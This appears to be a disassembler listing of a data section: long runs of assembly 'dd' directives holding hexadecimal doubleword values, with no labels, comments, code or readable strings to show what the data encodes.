dd 4892DEE3h, 0CA00BAB0h, 0DD70C5A7h, 920BED41h, 0D2F60128h
dd 0AEC9101Ah, 0C5B8C3B1h, 0C700077Bh, 0BEC1B19h, 369D9CCh
dd 0AD70E99Fh, 0B8BE12F1h, 905C40Eh, 161E25BDh, 12076054h
dd 7C401C72h, 0D8D9DCD4h, 18B0A49Bh, 0B1447AA2h, 0A0A870EAh
dd 0BA00A641h, 0CED23A3Dh, 248377A3h, 98945981h, 2E8D5168h
dd 3DC9D50Eh, 0DBAB4023h, 24EAB62Ah, 461C54F2h, 0B598A106h
dd 4BDCD905h, 0BCC31487h, 2A9B9004h, 2A789816h, 90C0BE4Ch
dd 7D050065h, 9084C2E2h, 8028C20h, 3CB10B61h, 0AB444878h
dd 0F175005Dh, 99B7EEAFh
dd 7000C152h, 0C542F890h, 245B729Ch, 405C3CB2h, 447187C3h
dd 5673AD03h, 90E0A431h, 0D35B986h, 2F0DB4ACh, 0E9D9C8B6h
dd 84FD3128h, 53DCE703h, 88CE9E25h, 18A21C70h, 2032CC76h
dd 0E102EDB3h, 0A609867Bh, 2ADC987Fh, 96F500C5h, 2BC345D6h
dd 380CBF4Dh, 91BAEF0Eh, 7F7974F4h, 2579DCh, 4C1BC0D5h
dd 0B3E46799h, 1CB53709h, 0BE28005Dh, 370CF3B1h, 40791FA3h
dd 0FAC63E72h, 0E523E701h, 7513D89Ch, 779287D8h, 6FAA0969h
dd 7801B62Dh, 2605B4D6h, 432250h, 0A5728361h, 8F014A0h
dd 0C8680C01h, 40EEC17Bh, 2C49ECFCh, 8344FC67h, 9C52C42Ah
dd 0C24F1FB8h, 0B8A1802h, 69577665h, 54664220h, 0CF18633Eh
dd 0EA4CF1C2h, 993B50B2h, 11C18098h, 1B70E37Eh, 0C4B40FC9h
dd 24EFEF72h, 5A2A6900h, 0CFB0E712h, 13610C48h, 0F821470Bh
dd 542405EEh, 7A4E001Ch, 0E33766C7h, 203D57E9h, 4FD28CF5h
dd 2771D8h, 52ACDB7Dh, 31B2A10Eh, 649A9407h, 87D0E8E7h
dd 2E98CF0h, 0BC8E0261h, 904CDA81h, 825EE80Fh, 0A375632Ch
dd 85E87945h, 68589A04h, 4622A814h, 0FCF45C10h, 0FEFF007Ch
dd 0CD9B3174h, 309247BFh, 64C82B2Ch, 76EC5860h, 2024A163h
dd 44EAF852h, 80D600A8h, 759EE1C6h, 8300D7ACh, 0FA279C37h
dd 534D4F04h, 0BE12F40Eh, 0BBE821ECh, 92FCEC6Ah, 6BE8DF00h
dd 2C5FCEF8h, 39FF009Dh, 140B09B0h, 0D8919A46h, 0FCF64C0Ah
dd 0A0AAD381h, 0D8209041h, 0CEA28926h, 0F3002C66h, 12F2DA82h
dd 7C46D35Fh, 0F1CD0C1Bh, 0EF80FE77h, 5807F7F3h, 53D37933h
dd 67879D10h, 1118020Fh, 0F984A643h, 40CA43E0h, 9D0AB0A5h
dd 14A4A4CEh, 3027E461h, 0C19960h, 0D163F2C7h, 6E43B01Eh
dd 64056B05h, 3CC8EEF0h, 9E4F0388h, 2E210F18h, 0E3B098F4h
dd 56D3F03Ah, 0A99700FCh, 0F371F9F2h, 2AEE009Dh, 7437B2B7h
dd 8D54EDD8h, 313155C8h, 0EACD91ADh, 0CF031C32h, 1C5DE565h
dd 638D0599h, 0A2260944h, 0F102F41h, 54A74008h, 424034h
dd 31E2580Fh, 64FD6EDAh, 6CB8BA73h, 37A3CF03h, 88296D9h
dd 6859EF79h, 976B6A00h, 0BC2FC3Eh, 0FB78AAA8h, 0F34C6031h
dd 42D6A100h, 0D3C6F3C3h, 27A22C33h, 532FC0B4h, 0DE004A13h
dd 49AF3479h, 249C2D91h, 6724BA57h, 0A0F747E2h, 339AC948h
dd 34769377h, 1F5A9B12h, 0F0050C16h, 540455F1h, 59006377h
dd 563B95E8h, 0A06D4400h, 26BFBE51h, 0E0D40CF0h, 4629ACEEh
dd 20E4B800h, 4227732Dh, 2494014Dh, 0FFDB5737h, 30ECCA3Fh
dd 11E7AB01h, 0A8F6C434h, 838770h, 0DC60B95Ah, 1339DF0Fh
dd 211F6892h, 5B44583Bh, 34A4E9E6h, 43C00196h, 0F2A27ACFh
dd 15BC36B1h, 0D44991h, 0C52B9E75h, 7DA73BFFh, 0D8D425CFh
dd 0B9F72010h, 3EB44452h, 237C009Dh, 0E0D1A6C4h, 51900427h
dd 90852667h, 3BE1B1B4h, 0A4B4180Eh, 84A240C4h, 2EED4792h
dd 50405E7h, 20FFE9F5h, 393EB974h, 8D110899h, 0F7AA2E00h
dd 86A584E7h, 0F96C7800h, 4D0E70F2h, 44851679h, 4D90048h
dd 5163E2E3h, 6D3E7812h, 10C1DC24h, 7C48B4E0h, 84C64805h
dd 8264A3CFh, 7F80C121h, 58BC70FDh, 14409D4Ah, 0D6797C97h
dd 8280B1A5h, 40BAD218h, 9565ACE0h, 38941440h, 870009B6h
dd 21360D9Dh, 0C9C47FECh, 4DC07E7Ah, 0F0821115h, 2C990B17h
dd 1B8242F4h, 9867D195h, 0BA09682Ch, 4F4A931h, 0E422E5B8h
dd 80618061h, 0D439D961h, 8CDBE2h, 0DF12B432h, 0E4833690h
dd 9C9B59FCh, 4A140500h, 0C7113EADh, 0F29A5B59h, 0E8402EA9h
dd 4663EAE7h, 22DD1F91h, 3F001868h, 731450C2h, 0F4CDD7DFh
dd 0D06B269Bh, 10250028h, 0E0B2E7CBh, 66E3E902h, 488E67B5h
dd 963FB77Ch, 0D7E26020h, 58D289E9h, 0C2AAA060h, 7CB5F0CCh
dd 111D00E2h, 4BBCE66Ch, 8F00B69Ch, 0BA3B01F2h, 12E5BEB1h
dd 0C85EEA1Eh, 0D931672Ch, 0ECC4714Ah, 0E40F2832h, 6060467Eh
dd 410630A7h, 905D000h, 0ED3DE39Fh, 0CF2607C3h, 21C82970h
dd 80BB3A59h, 0F0F968B9h, 71979AE2h, 8419017Bh, 0CF340A29h
dd 325EEDEDh, 0BA41070Ch, 66607CD4h, 0A4F7FF3h, 0D9DD09B3h
dd 0C4A0407Ch, 57074294h, 0EE72C9Eh, 40269152h, 4E6E074h
dd 7CFD81CFh, 1F88C2A5h, 0F9E45527h, 2FC5E0A2h, 0BC60423Eh
dd 40A4C5h, 4101E0F4h, 16DB38F2h, 0C021A34Ah, 0C4E612DAh
dd 24EF2A2Ch, 0E0349243h, 89FC01h, 7E650561h, 3077F60Fh
dd 0A44C584Ah, 0C4994Eh, 1C33D3Fh, 6C047A61h, 3472E2F3h
dd 645BB32Ch, 6A827B0Eh, 68C8D467h, 97C0C84Ah, 7AFCFAh
dd 7CE1AA4Ah, 739C09F4h, 9B3DB97Eh, 58D42E40h, 0E6E80500h
dd 3A9D0CEh, 2375E404h, 1007ED66h, 0AB06F9E1h, 87F0CE40h
dd 0B2CD0039h, 10719FFDh, 0A100C7C8h, 62BADD76h, 0AFF563h
dd 544607A2h, 8F21F206h, 0E60D5800h, 0D5DAB72Dh, 1CC6008Dh
dd 0BA73CE8Eh, 79C0E3A1h, 0C22AB790h, 0DAB606F2h, 18CF5E51h
dd 0A752F600h, 95643146h, 0AD9E01A5h, 8DD8458Bh, 0B76080BCh
dd 66DB6275h, 0CBB014C5h, 5B30DE99h, 0B174B341h, 334A2800h
dd 0B6D37C29h, 0D097600Eh, 0DE91BCD0h, 0FB3B28C1h, 0E6DC069Eh
dd 7D863BC1h, 0A2CA5287h, 1DD4A19Ch, 0C7E100EEh, 206A02B1h
dd 0E9194BCFh, 336762E0h, 804D643Ah, 21BA27E1h, 2281625h
dd 141720D2h, 0C490FBC1h, 9E1D494Eh, 771D6A11h, 542E5FC1h
dd 8058E3DFh, 0C799CF96h, 0D1F52802h, 0D3190860h, 0EE4EDD00h
dd 5D900A5Eh, 0B1E82996h, 0E2FB8C88h, 0D73ED1A9h, 5710001Ah
dd 0F50F3264h, 99CD009Bh, 0BA0E442Dh, 4C03A748h, 0FDC175B8h
dd 0DCAAB066h, 6C610036h, 8A08D279h, 0A6FA2C44h, 0C015DB00h
dd 2D849AA5h, 0C27632h, 2F422B73h, 1F3D7203h, 0F9F7401Eh
dd 0F0C1E930h, 95891DFBh, 83B10486h, 0B3848094h, 524826Ah
dd 0C4600C59h, 12FD203h, 40A65BC0h, 809BDB24h, 0B1F178C9h
dd 7623253h, 0DE955058h, 87D5C04Ch, 980A9196h, 0E8E416FDh
dd 6149E000h, 3965426Dh, 8C523C46h, 8ED56905h, 0FFC0293h
dd 6A2192A2h, 0B0BE830Bh, 6E79DF00h, 9D460EEAh, 6923C0F3h
dd 214DFA33h, 69C6FDh, 0BBC479A1h, 36E0BD4h, 0BA63C239h
dd 0B6AE0602h, 3C292C50h, 0C966FD1Eh, 77E882F9h, 0CD38BF00h
dd 819F8DEEh, 0DAAE006Ch, 0DD5EF193h, 2D0033A4h, 0E444B5C4h
dd 300FA1h, 0B415C253h, 7B2AAAEBh, 1C645E00h, 592214DEh
dd 914A1D17h, 0A7F2C090h, 0B1ACCB0Ah, 53781500h, 3220F88Ah
dd 3EC5000Eh, 5E438134h, 0C414928Ch, 314AACBh, 4BAFE86Dh
dd 5A1006ABh, 7877F7A8h, 0D07AFD06h, 11F0E4h, 48F2DD49h
dd 94EAB0Dh, 0BF824402h, 0C098C313h, 133A2666h, 685FB45h
dd 60C676CCh, 0C301C273h, 5C9C3B61h, 20C6EA36h, 0A72F63EBh
dd 5DEFE600h, 13CDB543h, 0F13C009Ch, 17F997CBh, 98C0A742h
dd 70413976h, 3AF0043h, 986B1E0Fh, 400EE3Fh, 85440E64h
dd 584DAC05h, 0B90A31E8h, 394C08Ch, 35A3E074h, 5927D3F0h
dd 107780A8h, 489FA289h, 1016196Ch, 0DA4F80Bh, 12D0F200h
dd 1A9ED164h, 83A10015h, 978CA7C7h, 0D800AE4Bh, 72D3002h
dd 1D94CC77h, 4CCF0E7Eh, 1DE0F884h, 0CBAFF900h, 92E5F02Ch
dd 7D97028Eh, 7044F6D0h, 0C1EAECAFh, 43FB0318h, 180094A4h
dd 26D0AE45h, 547A2CC3h, 6398F1h, 0A7549CE7h, 60E17E08h
dd 80EDDE2Bh, 0C04D680Eh, 2F41DEBh, 51AC6070h, 22345460h
dd 85437C06h, 1813E0Fh
dd 0F476097Fh, 2675B2AFh, 9B1F1510h, 77FB0C88h, 9849ADh
dd 6AA8AC34h, 1A4404D1h, 18008E48h, 78205A65h, 0B070071h
dd 3B704B66h, 8F1DEEDEh, 0D5475B57h, 4420E926h, 0C0585143h
dd 31739B68h, 320108A9h, 0E9CB3971h, 0EBC49A87h, 2655008Eh
dd 0F4E6A2BEh, 10302130h, 0A935B933h, 70F0030Ch, 7D9A6D18h
dd 2074AA89h, 6F35FCA0h, 4C1D29E6h, 8F247B40h, 236E354h
dd 0B15CF188h, 8C43AFFAh, 4E8DE9C3h, 0E200AAB0h, 4BAE788Bh
dd 1666E00h, 0BD982A18h, 0B061F3B8h, 4469002Ah, 6A786425h
dd 970B4E02h, 0A288AE17h, 925BFCD8h, 1B51C098h, 10A3639Fh
dd 99007C10h, 4576F295h, 7B62C03Ah, 0A91B0E7Bh, 0F9C09D72h
dd 7AA30898h, 0CF08A26h, 7D0F3C61h, 82264180h, 92E705D6h
dd 6500A77Dh, 6CD2B845h, 12E7036h, 3FF1EBF7h, 0C515ECA0h
dd 12043221h, 38408B18h, 7355957Fh, 0E31200B8h, 0EC4C1585h
dd 0E17284FCh, 28807D00h, 6FCE1344h, 476803EAh, 5424C4Dh
dd 0D9614BF8h, 0D04E0200h, 9879721Dh, 0F58B0193h, 4C383F0Ch
dd 0AE4DD014h, 177B5700h, 98EBA7D9h, 62F8007Eh, 1E1F279Ch
dd 203CB1C4h, 33158F6h, 70DA1CABh, 1468061Ah, 50FEB518h
dd 0A800F8F0h, 835E3C9Ah, 30DADE80h, 1F29768Eh, 120004CFh
dd 20C83CBFh, 0F879C3D7h, 0C77D08EDh, 0F7074835h, 0BC707ED2h
dd 0C8C3EBEh, 4B50F698h, 5C0E51A8h, 0C00AB968h, 0DA388084h
dd 6678C013h, 0D9218E1Eh, 5FE83E00h, 79B8FF19h, 0F8EA32h
dd 2C8BC284h, 42CC413Dh, 1EC84018h, 2E86CB71h, 0FE05188h
dd 0E780B08Eh, 39B4945Dh, 36157B02h, 0A24E8319h, 0A069B594h
dd 0BA041CB0h, 0F3450030h, 0C9C69F75h, 58ED7DA8h, 540E9380h
dd 0C1C15DBDh, 0D2FCF12h, 0AFC74881h, 80423A1Eh, 5A9A5758h
dd 7485BB9Eh, 0F8E10061h, 0CB8A2969h, 57076051h, 89397B4Eh
dd 95A39D40h, 7077D2Eh, 6FBA4984h, 2D18057h, 0B40F4DA8h
dd 0C1459527h, 83CF06A3h, 3DD94183h, 30004F4Ah, 12053A74h
dd 14844730h, 24419B51h, 14C66500h, 666D3F6Bh, 0FDEDEA00h
dd 0B20F4DAAh, 2EC00080h, 0D9479056h, 51C01BD1h, 0F9BD8DB7h
dd 0B4C407F4h, 0C0779BD3h, 0E5C7A74Eh, 41677F07h, 46C650A9h
dd 2BBF3369h, 87C04E08h, 9D0181FFh, 0E42FD317h, 58BE76CFh
dd 0B10E673Ah, 1A4010F5h, 6E6F075Ch, 0C61C2D00h, 0DA1F9EEFh
dd 0B34F00A9h, 8448B30h, 5CF509B8h, 721E4084h, 47D8260Ch
dd 0F03252B1h, 111F61DBh, 5082F51Eh, 9E419A94h, 7D32C018h
dd 0C029E7B8h, 0B6850CA9h, 110F78C4h, 6355514Ah, 280AFFh
dd 210C9421h, 9F3DB07h, 65D30400h, 1F2910E2h, 0B0DE1481h
dd 4100B822h, 838D2776h, 0F20AE962h, 8C4DCA5Bh, 0AEC20742h
dd 64AA4A80h, 59B8DA60h, 9D71C06Eh, 4F1EA9C7h, 9A0058A4h
dd 0F4048F88h, 6FF4821h, 95855B9Dh, 0DB0060BDh, 37CDE653h
dd 84A99Ch, 4C3A5CBh, 8668F49Bh, 5F27A007h, 9952805h, 0A7FFF020h
dd 8EF61E72h, 0C530801Ch, 18FABC83h, 3087C024h, 3ED5A140h
dd 0EF71263h, 7618074Ch, 6C3B312h, 7B9C9901h, 6384AAA9h
dd 0D761D5EEh, 4D042417h, 0CBB2D700h, 12C78AE4h, 49781ED1h
dd 7468803Ah, 69F790Bh, 500F4805h, 9846BE81h, 81AAD5h
dd 8B21BC92h, 0B024A2B3h, 82FC6402h, 404286C0h, 0A85AE758h
dd 80F9Ch, 0A3E2925Ch, 0DC19D3DFh, 8CCD6300h, 913C2F05h
dd 0FE2400ECh, 62D2811Bh, 0BC19504Fh, 674165D6h, 0C0BB4BE8h
dd 0B39A9980h, 0D8F75A24h, 0FF7E6420h, 63FC9F09h, 0BA60016Fh
dd 0A4501C16h, 898497h, 452F665Bh, 0EC717522h, 0B86E0806h
dd 612C07h, 70BBC74Fh, 9C33A934h, 0BF499618h, 0FB551F40h
dd 65F2AC40h, 1E18408Bh, 53325606h, 690108h, 833458F7h
dd 5F1C97B8h, 31CB100Ch, 0EE03612Ah, 88333D7Fh, 0B11B2880h
dd 0D9925165h, 388C5048h, 3811423Ch, 18F72449h, 0DCEC140Ah
dd 0DDC8B803h, 92E12476h, 50EA8030h, 0C997736Bh, 63AE9403h
dd 0B8DDC68Dh, 155E4Ah, 0AD582F7Ah, 0D8679384h, 65020478h
dd 0BDE0443Ch, 0A58404Eh, 35A9C05Fh, 0B0BB048Dh, 8CC44F00h
dd 92E0B885h, 5C870BFh, 0D2059652h, 8B42564h, 0D942770Ch
dd 8058006Ch, 43396749h, 2839008Eh, 917166DFh, 8854149Bh
dd 6F32B0CAh, 0B08370C0h, 8F5D750h, 0D380D824h, 7BECCD98h
dd 0DEFD0090h, 0C1411DA8h, 4C00F7BCh, 0DB8A34BFh, 12525679h
dd 4B3CE6h, 7305F6FCh, 8415BF01h, 0AC0617h, 1B4B5E7Fh
dd 10571D9h, 511D79A6h, 0CAABCBC8h, 0AFF0B481h, 8A46F850h
dd 27752F0Ah, 0E7938CBBh, 0B2C79020h, 0DCA8001Bh, 784DE22Ch
dd 0A70746EEh, 2E6CD7BEh, 65EC1D91h, 0BD5DC881h, 32D4184Fh
dd 668A1E74h, 0E0203912h, 2893C13Ah, 984B1FCh, 0ED859448h
dd 88613CA4h, 0E81FB578h, 7147E954h, 3E005ADAh, 9022A233h
dd 57113F9Ch, 3B47EF85h, 0E915C7B8h, 43F08480h, 9600294Ah
dd 7FEB8120h, 0F2F3FBCDh, 7D4200A4h, 3178E837h, 120F6CDFh
dd 0E03A40B4h, 0FBD2B19Ah, 0F27F00A4h, 2BA12E81h, 4400D73Ch
dd 0CA78CF7Ah, 6733F8BAh, 0F2772080h, 514048AFh, 0C200795Ch
dd 0D1E096D9h, 34036Ch, 52C38E47h, 0AEA3B8A1h, 9558E860h
dd 6F64222h, 4DB19B3Eh, 4BF8A03Dh, 0F43CD726h, 8EAE300h
dd 61A22Ch, 34D4BF7Ch, 0AF9AF693h, 30D5F85Ch, 0B8EB80BBh
dd 59A56F6Ch, 198F2386h, 0F9AE30C4h, 82208E22h, 69DDF3h
dd 58950EC1h, 9832F00Dh, 6F45D30Ch, 0EA6AF99Ch, 1C9103EDh
dd 0A12623B3h, 0FF981906h, 7FB08206h, 8F33014Ah, 0C6FC2D23h
dd 0FD8BF00Ah, 0D276B413h, 3599A0Fh, 187BD15h, 0FCAF6D30h
dd 809C7BB8h, 6E32E1B1h, 0CC9FE3D3h, 4D881C10h, 13219A60h
dd 0EDD2F4h, 466D8AE1h, 0B14C9F60h, 766A0200h, 780E019h
dd 2AF30567h, 9B45B0h, 0E743C02Ch, 0DD00717Dh, 21F1BA5h
dd 0A15120h, 2E78B78Bh, 0B4872FBBh, 0AE102924h, 90B115h
dd 5403C7F4h, 112F776h, 845234B7h, 24EF0E98h, 7A00D224h
dd 189B776Ah, 98A5CA70h, 0B148004Ch, 46179F3Dh, 1200E95Ah
dd 9A033828h, 0E6AC99D1h, 1E1EEAAh, 67C57EC8h, 48A786BEh
dd 40A019DCh, 837472B8h, 0F59C9C0h, 0F6A4A39h, 8A849FC9h
dd 18504201h, 861841B7h, 897C4099h, 0E60047D8h, 71C1B507h
dd 0A90A34h, 0AAD45C99h, 70BA87AFh, 0D53C48h, 5FA50DB7h
dd 0F696346h, 97E47B44h, 45E9FA4Ch, 0A2FD3Eh, 8E8A4AD9h
dd 906A4882h, 1413001Ch, 0CFE2A955h, 5400304Eh, 84165F94h
dd 945898Bh, 0DA1E3465h, 0CF973400h, 0C13D6B17h, 20077007h
dd 0AA56587h, 7C20DF46h, 0DEBF0CCEh, 0CFC9B14Dh, 4B3B0F00h
dd 0B5E5D4F4h, 0FDD70AA3h, 9F8C6B42h, 0C43CC284h, 5C4EA033h
dd 0C234212h, 7765000h, 0F054A5F1h, 0FD5B2E92h, 0BFDF0005h
dd 60288CDh, 4EA94B01h, 0FE293336h, 86199424h, 9B807907h
dd 784DB332h, 0AB465010h, 851F1773h, 0B2BF021Ah, 346494B3h
dd 380B253Ah, 0C46B01B5h, 0F7ABBDD1h, 18DA4820h, 50D09D42h
dd 11204D86h, 97E1099Fh, 0AC20C63Bh, 776BABB4h, 0BEC0507Fh
dd 0EE229367h, 746E5045h, 696121Ch, 66980627h, 6A70081Bh
dd 0A66E5501h, 1021B475h, 24B1E0F0h, 40E02823h, 5057338Bh
dd 0A64C7004h, 0F0823D91h, 733181Bh, 4D064988h, 1800742Eh
dd 5315EEAh, 0AA286B36h, 0E10398F7h, 8E4A9724h, 2F6811C5h
dd 6F3E01EBh
dd 0B009316Bh, 890A30h, 0B566460Fh, 0EB78A5B4h, 9591AF62h
dd 639CA123h, 4BE45596h, 0CAC4004Eh, 6E7B21A6h, 0E160072Eh
dd 35330440h, 0DC3101DFh, 0AD51D36Ch, 101C308Dh, 604DD43Dh
dd 0A5ED7E81h, 195F0185h, 0A92C0C7h, 8257CCFEh, 4460F000h
dd 80CD699Bh, 87BE198Bh, 48F93950h, 90001B84h, 62D7E6E8h
dd 474D130h, 6A3DA665h, 0CC309422h, 9707B32Ch, 51E04212h
dd 91770520h, 0DD7F28Bh, 0D9A1E98Ah, 0CDF42170h, 37C900E8h
dd 0CCCF0159h, 2650C7CEh, 6017ED1Fh, 21609614h, 0D3636B59h
dd 6A220061h, 0D05C423h, 0F8033119h, 6DB3381Ah, 49278737h
dd 6B6C56A0h, 588874A9h, 0EACE60DEh, 9FAC3760h, 1104498Dh
dd 31670684h, 1BA81880h, 3A0E2C42h, 0E21A414Ch, 0FE9320B1h
dd 0A84E6B29h, 0A3518D00h, 75907EBFh, 684600B9h, 0F5D60E2Bh
dd 0C109A9F6h, 885AEBCDh, 0A002C8A9h, 82147FC3h, 0E0C03694h
dd 0D35921h, 0A677B47Ah, 11C934AFh, 0F39DB000h, 475A4E0Eh
dd 149126FDh, 8F803CE4h, 6BA8CFBCh, 0E5035F4Ch, 95866043h
dd 222FF052h, 7CFEB1h, 0B41A2A03h, 32D69FF7h, 458B7600h
dd 0F0E43649h, 9E3107D8h, 0EEDEFE6Dh, 0B0083B4Ch, 0A0787250h
dd 4375B00h, 0F03ADD26h, 716A264Dh, 322341F4h, 4280240Fh
dd 7D0CBF4Dh, 0D5EE941Eh, 0BD913FC0h, 0BAB540h, 29A99DCEh
dd 9226174Ah, 0D70C78B2h, 51F996FEh, 59B100FBh, 2AF0E294h
dd 5D0B498Bh, 104D88AFh, 2ACD1E0h, 0D60DF599h, 3C68CF95h
dd 9200798Bh, 3E3C904Eh, 284FED6Bh, 5AC3560h, 2E5B34DEh
dd 0E2088DFh, 26703B50h, 10F84Ch, 0EEF327E0h, 0FDDE8Fh
dd 0C8BAB02h, 20590A3Dh, 3702C57Ah, 0FAA60B1Ch, 0CC4177D6h
dd 0E118A1Ah, 99001405h, 2EE934CCh, 0C38A0DDh, 21AF0131h
dd 2276102Bh, 0E13FD123h, 640871D8h, 1E93E50h, 1D296FCh
dd 8F228A4Fh, 6009CF48h, 65B52CA3h, 0F6332A99h, 524D3098h
dd 0E339E639h, 7568CB00h, 0BC4B87Bh, 4C2C0B37h, 4888996Ah
dd 246560B8h, 69D9A61Bh, 0CEF857E8h, 32F60052h, 42506E53h
dd 0FA0CDD83h, 0C9BC439Bh, 0E1C2004Dh, 9F6777D3h, 20618FFh
dd 0F38E71B9h, 158A0620h, 31BA4342h, 0F91C7F00h, 3B38DD0Fh
dd 5B5D0014h, 0B7E77DD5h, 8D607293h, 78113629h, 6C9C39EAh
dd 44B0250Bh, 2DFC2410h, 0D003092h, 8678ADDEh, 305032DDh
dd 8B418CAEh, 0E9306DABh, 8A05887Fh, 0E8A405D3h, 8A347BC2h
dd 4E331C80h, 0DE2F9B41h, 0E0321105h, 8C7C6F06h, 2318CE48h
dd 8AD99230h, 0C40A0045h, 562412D8h, 88006CE3h, 0F8369F07h
dd 385D34Dh, 0B8461874h, 3DA11B29h, 0B323C86Ch, 3E11A1C2h
dd 4568E0B6h, 6A7B889Ah, 0C1DB9300h, 4E168E89h, 30321CD5h
dd 45FF83AEh, 8288FCAFh, 390F575Ch, 4736ACC6h, 0F2057110h
dd 0FF6A3CC0h, 8FD0E79Ch, 0CF7D07EFh, 0C00D4D14h, 400C4E97h
dd 0E00F3F02h, 0E67BBE88h, 0AFB421A4h, 9112423Eh, 6903073h
dd 7E09346Bh, 864D83A7h, 111683Fh, 6E6430A8h, 327269FCh
dd 14451604h, 2012D45Eh, 0E8967460h, 6CCB1631h, 3380709Bh
dd 4A176B3Ch, 2C04B00Fh, 3752BD22h, 53D310F0h, 0CD01F9AFh
dd 9FFB3F8h, 0BC46723h, 0F57C0B9Eh, 0F082A151h, 0C020EC2Eh
dd 0EF8E640Ch, 0B8185C61h, 24C710E2h, 603CA28Bh, 3E34BD14h
dd 0B3A22E26h, 0AE060C0Dh, 9C20C821h, 23444BBEh, 4F8C8D24h
dd 0A9C8C0B8h, 92095615h, 0E33F51B4h, 0CC59008h, 0F494D62Ch
dd 9D004811h, 607AE957h, 6A3B8Ch, 55254A69h, 99EBACD5h
dd 7D4474Ch, 1B33EA86h, 6C67CC60h, 0E70E244Eh, 0A3070A74h
dd 53D180A4h, 392EA5Ch, 6C78A12Eh, 0ED228080h, 889C5945h
dd 0EF2E4D1Ch, 78240426h, 2C89240Fh, 0FF0D1B4h, 6DA5A69Ch
dd 0BD049143h, 0ADC0FEC3h, 0D02ED3EFh, 2A3F9419h, 0E200E03Eh
dd 83A87371h, 75439184h, 90EF009Ah, 0C18893BCh, 332697F4h
dd 0E0A4D0D1h, 0B337F360h, 0A803132Ch, 9944086Dh, 0A8B5428Ah
dd 0BE5E549Ch, 20D588C7h, 3DAC7EB1h, 0B7803C28h, 0FEFCA74Fh
dd 6A0E6D09h, 6E44184Ch, 0BB03849Ch, 329884A6h, 0E42158FDh
dd 6FD88B74h, 5503903Eh, 203D8538h, 466102B2h, 5EC67B3h
dd 204004E2h, 3F591BA9h, 11A8B1Ch, 0FF477B28h, 0C0980470h
dd 10D0ED19h, 1F0261F4h, 0C71A3BF5h, 0E8A461D4h, 20B97442h
dd 50A80440h, 9C831300h, 7985CEE7h, 0EEFA0288h, 0F75A1F66h
dd 407F7041h, 0DE42877Ch, 50EC5035h, 0D10B7C0Ch, 0AA2602A0h
dd 0B21E73B1h, 6210B441h, 0B022CCh, 152D0F50h, 0EA92CBE6h
dd 0DA01B700h, 0BF971F2Fh, 4DE318E7h, 34025153h, 0A2E49500h
dd 42B2795Bh, 3E350FCCh, 9AA040B9h, 1D022180h, 784EC092h
dd 38972C21h, 14780028h, 142719A5h, 2F241302h, 3CC88BE3h
dd 767AB7FDh, 667BB079h, 4A707AECh, 84620898h, 5A6A3E89h
dd 44B81858h, 97FC193Fh, 0E0308CA8h, 0E072A13Fh, 0C590891Ah
dd 0A2670F45h, 41CA85DDh, 0FFD4AB8h, 4444690Fh, 3178C04Ch
dd 7A00C33Bh, 81ADD407h, 29A16870h, 844E5Fh, 2475894Fh
dd 98009C0Dh, 0DFBAE3C7h, 3F1B77Ah, 0E88EA0BEh, 59E04A7Eh
dd 270CA666h, 4898CF6Fh, 8438908Bh, 5839F4C4h, 0A68ADC22h
dd 3A6D8098h, 3FFFC07Ah, 6E25AF00h, 0F0804A17h, 49B20012h
dd 8FB7393h, 8F001057h, 8103AB3Bh, 12CDB045h, 306B8BBFh
dd 0DC342D9Ch, 0D103E200h, 0C1509038h, 0BF18207Ah, 0CC224Ch
dd 5E360515h, 903C3277h, 4FA4BD1h, 8C87B354h, 5C008E00h
dd 0D164893Fh, 0BFCCA1h, 73D9F585h, 8EFD86EBh, 8FFC7258h
dd 0DD88806Eh, 49FB555h, 0DEFE6CD3h, 7700B22Ah, 2E64B607h
dd 60233E82h, 2B338005h, 5B2D00ADh, 431D2F0h, 0A800CA96h
dd 6E831797h, 16EB7C8Bh, 5F7E52h, 0F2F72E92h, 371F349Ch
dd 9E82AA47h, 0C1D3AE6Ch, 2C099870h, 5AC2C150h, 0BC4B3B99h
dd 0CA58B000h, 3F5349E4h, 0D0DAD90Eh, 0CD7640FBh, 2EE22A2Fh
dd 40B49731h, 0E72C6C82h, 6E012200h, 0C7D33627h, 0C0030097h
dd 0C25619EBh, 9901300Ah, 0F46C8967h, 6BD91FE0h, 0D78F8468h
dd 0F32EB081h, 7215209Dh, 2BD93Fh, 11066DE7h, 345FA3h
dd 0CF32DDDh, 0F5FD737Ch, 4EF9E40Fh, 32974107h, 0C08AADB7h
dd 80D4694Dh, 2C9A581Eh, 0F9134FA9h, 7B00718Bh, 0B79DFF67h
dd 0AAD2056Ah, 82363B16h, 9C616D90h, 1702317h, 0AD02D886h
dd 0CEFC6564h, 13D73F9h, 700FB1F0h, 61309379h, 20243880h
dd 0F5962A87h, 70730F8Ch, 380973Eh, 11B126E9h, 6C2F4D00h
dd 0C0B87B8Bh, 10AE2605h, 88D42673h, 0FC0AE873h, 84878C0Bh
dd 88B37A0Ah, 11B0BF5Ah, 0AF9F27h, 0F9559AF4h, 7586DC3Ch
dd 0DC41295Ah, 0F0345C36h, 9813EC77h, 4ACC9035h, 0B00B28B4h
dd 98EAC279h, 24EC5D0Ch, 404C9738h, 0FD405EF5h, 0B68E5F00h
dd 5AE57841h, 865901B7h, 0E1213AC1h, 0EA4C3089h, 8CAFA021h
dd 0E4799AFCh, 7A0C6200h, 95CAD404h, 0A0BB00AEh, 788F6812h
dd 0FB00DE3Fh, 5D3F63Ch, 4F1C24h, 0B5A4665h, 0E9F88A9Ah
dd 0E0D19605h, 2CA20C97h, 0E61A0400h, 0BE4432A9h, 4CABF9C0h
dd 0EF4337h, 9D46285Fh, 0F957CD0Bh, 11C9101h, 0EA31DA2Ah
dd 4CE3A6FCh, 0AC809C41h, 7F606B9Ch, 2EFFCB02h, 40B740C0h
dd 1F3EDE12h, 0CE5941F5h, 0C860626Ah, 0A9CC0951h, 0EC16B05h
dd 0F680C706h, 29C6A76h, 0A50372Eh, 8090FB81h, 0D10E5CEAh
dd 2048211Dh, 1A23EFACh
dd 20840002h, 4ACDA089h, 32003678h, 312C4BF8h, 0F0705E4h
dd 753780A1h, 63B43DA3h, 9B5A4F80h, 25786B0Eh, 4C6C6076h
dd 922B62h, 486E04FAh, 0D4CFFE55h, 69E22F00h, 200E259Ah
dd 16F0B0Bh, 40448224h, 0EB078300h, 0AE5C2BE4h, 0C4402DEh
dd 112D245Bh, 0F8B3C48h, 78CE4313h, 0B62488h, 7D51090h
dd 0CC336E8Eh, 0D79C6C24h, 0BC6F1B02h, 7278C923h, 0FC17FC39h
dd 2DC42098h, 0DC048E40h, 0DB8201ADh, 6FD55280h, 90AB0005h
dd 0FDE5C073h, 5700C310h, 6DDB756Ch, 70CD05Ah, 87030A3Bh
